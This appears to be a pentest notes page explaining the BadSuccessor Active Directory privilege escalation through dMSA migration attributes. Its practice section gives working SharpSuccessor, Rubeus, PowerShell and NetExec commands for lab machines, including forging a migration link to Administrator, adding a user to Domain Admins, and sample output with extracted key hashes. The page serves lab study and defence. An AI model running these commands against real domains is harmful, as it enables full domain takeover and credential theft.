> For the complete documentation index, see [llms.txt](https://x7331.gitbook.io/boxes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://x7331.gitbook.io/boxes/tl-dr/active-directory/attacks/badsuccessor.md). # BadSuccessor ## Overview > * [BadSuccessor: Abusing dMSA to Escalate Privileges in Active Directory](https://www.akamai.com/blog/security-research/abusing-dmsa-for-privilege-escalation-in-active-directory) > * [Understanding & Mitigating BadSuccessor](https://specterops.io/blog/2025/05/27/understanding-mitigating-badsuccessor/) The BadSuccessor vulnerability is a critical privilege escalation flaw within Active Directory that allows an attacker with minimal permissions, such as the ability to create objects in an OU, to achieve full domain compromise. The vulnerability exploits an obscure and unexpected mechanism in how dMSAs inherit permissions from the legacy service accounts they are designed to replace. ## **dMSAs & Migration** [Delegated Managed Service Accounts (dMSAs)](https://learn.microsoft.com/en-us/windows-server/identity/ad-ds/manage/delegated-managed-service-accounts/delegated-managed-service-accounts-overview) are an evolution of [group Managed Service Accounts (gMSAs)](https://learn.microsoft.com/en-us/windows-server/identity/ad-ds/manage/group-managed-service-accounts/group-managed-service-accounts/group-managed-service-accounts-overview), designed to simplify the management of service account credentials. While gMSAs are used across multiple servers and managed by AD, a dMSA is typically tied to a specific server and managed by an administrator. A key feature of dMSAs is their ability to seamlessly replace a traditional, non-managed service account through a formal migration process. When this occurs, the new dMSA inherits the permissions and configurations of the old account. This link is established through several key AD attributes. On the dMSA object: * `msDS-GroupMSAMembership`: Contains the list of principals (e.g., computer accounts) that are authorized to retrieve the dMSA's password. * `msDS-ManagedAccountPrecededByLink`: Stores the Distinguished Name (DN) of the superseded account it is replacing. On the superseded object: * `msDS-SupersededManagedAccountLink`: Points to the DN of the new dMSA that has replaced it. * `msDS-SupersededServiceAccountState`: Specifies the migration state of the original account, mirroring the `msDS-DelegatedMSAState` on the dMSA. Once the migration is complete, the original account is disabled, and services begin authenticating using the new dMSA. **The crux of the vulnerability, lies in how the dMSA inherits permissions**. One would logically assume that during migration, AD performs a one-time, explicit copy of all group memberships from the old account to the new dMSA. The dMSA's security profile would then be self-contained, and its Privilege Attribute Certificate (PAC) in TGTs would reflect only its own SIDs. Instead, AD dynamically fuses the two identities at authentication time. When a dMSA requests a TGT, the KDC inspects the `msDS-ManagedAccountPrecededByLink` attribute. It then builds a PAC that includes the SIDs of **both** the dMSA itself and the account it superseded. **When the dMSA authenticates, the KDC builts the PAC and determines who the dMSA is replacing solely on the `msDS-ManagedAccountPrecededByLink` attribute**. ## Attack ### Credentials A critical aspect of the dMSA migration process is the handling of Kerberos keys to prevent service interruption. The dMSA inherits a subset of keys from the superseded account, specifically those needed to decrypt in-flight service tickets issued prior to the migration. This key material, including the RC4 hash, is stored in the dMSA's password history. The KDC determines which keys are necessary by inspecting the superseded account's `msDS-SupportedEncryptionTypes` attribute, ensuring backward compatibility. ### Simulated Migration The only requirement for this attack vector is the ability to write to two attributes on any dMSA object; we don't need to have any permission over the target account. Unfortunately, the legit migration process is restricted to DAs. However, it can be simulated by setting the following attributes directly on the compromised dMSA object: * Write the DN of a high-privilege account (e.g., a Domain Admin) into the dMSA's `msDS-ManagedAccountPrecededByLink` attribute. * Set the `msDS-DelegatedMSAState` attribute to `2`, which signifies the migration is "complete." From that moment on, whenever the attacker authenticates as the dMSA, the KDC will see the link to the privileged account and grant the dMSA a TGT containing all of that account's group memberships and SIDs. ### **Creating a New dMSA** While an attacker could abuse an existing dMSA, they could also create a new one. If an attacker has the `Create all child objects` (CreateChild) right over an OU, they can create their own dMSA, over which they automatically have full control, and then perform the simulated migration attack to elevate their privileges to that of a DA. By default, a new dMSA account is stored in the Managed Service Accounts container; access to this container is typically restricted to built-in privileged accounts. However, dMSAs can be created in any standard OU. As a result, any user with the `Create msDS-DelegatedManagedServiceAccount` or `Create all child objects` rights on any OU can create a dMSA. ## Practice The Successor and the [Eighteen](https://www.hackthebox.com/machines/eighteen) privilege escalation machines are based on BadSuccessor. ### Windows This attack can be done using [SharpSuccessor](https://github.com/logangoins/SharpSuccessor) ([SharpSuccessor.exe](sharpsuccessor.exehttps://github.com/Flangvik/SharpCollection/blob/master/NetFramework_4.7_Any/SharpSuccessor.exe)) and [Rubeus](https://github.com/ghostpack/rubeus) ([Rubeus.exe](rubeus.exehttps://github.com/Flangvik/SharpCollection/blob/master/NetFramework_4.7_Any/Rubeus.exe)): {% code overflow="wrap" %} ```powershell # Add a computer account for dMSA .\SharpSuccessor.exe add /impersonate:Administrator /path:"ou=temp,dc=mollysec,dc=htb" /account:poppy /name:attack_dMSA # Request TGT for current user .\Rubeus.exe tgtdeleg /nowrap # Request a TGS for dMSA .\Rubeus.exe asktgs /targetuser:attack_dmsa$ /service:krbtgt/mollysec.htb /opsec /dmsa /nowrap /ptt /ticket:doI...VEI= # Rquest another TGS for dMSA over CIFS .\Rubeus.exe asktgs /user:attack_dmsa$ /service:cifs/dc.mollysec.htb /opsec /dmsa /nowrap /ptt /ticket:doI...FRC # Access the target Enter-PSSession dc.mollysec.htb ``` {% endcode %} The dMSA object can be also created natively: {% code overflow="wrap" %} ```powershell # Create a new dMSA account New-ADServiceAccount -Name "attacker-dMSA" -DNSHostName "dontcare.com" -CreateDelegatedServiceAccount -PrincipalsAllowedToRetrieveManagedPassword "attacker-machine$" -path "OU=temp,DC=aka,DC=test" # Modify the target attributes $dMSA = [ADSI]"LDAP://CN=attacker-dMSA,OU=temp,DC=aka,DC=test" $dMSA.Put("msDS-DelegatedMSAState", 2) $dMSA.Put("msDS-ManagedAccountPrecededByLink", "CN=Administrator,CN=Users,DC=aka,DC=test") # Confirm $dMSA.SetInfo() ``` {% endcode %} Rubeus supports dMSA authentication (using the `attacker-machine$`'s TGT): {% code overflow="wrap" %} ```powershell # Get the machine's TGT .\Rubeus.exe dump /luid: /service:krbtgt /nowrap # Get TGT as the dMSA .\Rubeus.exe asktgs /targetuser:attacker-dmsa$ /service:krbtgt/aka.test /dmsa /opsec /nowrap /ptt /ticket:doI... # Add ourselves to DA net group "domain admins" /add weak /domain ``` {% endcode %} ### Linux {% code overflow="wrap" %} ```bash # Check for Windows Server 2025 DC and write permissions over an OU nxc ldap 240.0.0.1 -u poppy -p 'Pass123!' -M badsuccessor # Install the fork uv tool install git+https://github.com/azoxlpf/NetExec.git@feat/refactor-badsuccessor # Exploit nxc ldap 240.0.0.1 -u poppy -p 'Pass123!' -M badsuccessor -o TARGET_OU='OU=Temp,DC=mollysec,DC=local' BADSUCCE... 240.0.0.1 389 DC01 [+] Found DC with Windows Server 2025: 240.0.0.1 (DC01.mollysec.local) BADSUCCE... 240.0.0.1 389 DC01 [+] dMSA 'dMSA-FYXD9RGL$' created at CN=dMSA-FYXD9RGL,OU=Temp,DC=mollysec,DC=local BADSUCCE... 240.0.0.1 389 DC01 DNS Hostname: dmsa-fyxd9rgl.eighteen.htb BADSUCCE... 240.0.0.1 389 DC01 Migration state: 2 (completed) BADSUCCE... 240.0.0.1 389 DC01 Target account: CN=Administrator,CN=Users,DC=mollysec,DC=local BADSUCCE... 240.0.0.1 389 DC01 [+] Current keys: BADSUCCE... 240.0.0.1 389 DC01 EncryptionTypes.aes256_cts_hmac_sha1_96: 0727cb0b233728c8ec19ee7543eb70119c63bd6e399389c45a8b626a0e87cb66 BADSUCCE... 240.0.0.1 389 DC01 EncryptionTypes.aes128_cts_hmac_sha1_96: a155cd07fa9ef7e1459a859cc0867c68 BADSUCCE... 240.0.0.1 389 DC01 EncryptionTypes.rc4_hmac: db377430d14451008c1252d5ce226469 BADSUCCE... 240.0.0.1 389 DC01 [+] Previous keys: BADSUCCE... 240.0.0.1 389 DC01 EncryptionTypes.rc4_hmac: 0b133be956bfaddf9cea56701affddec BADSUCCE... 240.0.0.1 389 DC01 [+] Service ticket saved to dMSA-FYXD9RGL$.ccache ``` {% endcode %} --- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter: ``` GET https://x7331.gitbook.io/boxes/tl-dr/active-directory/attacks/badsuccessor.md?ask= ``` The question should be specific, self-contained, and written in natural language. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.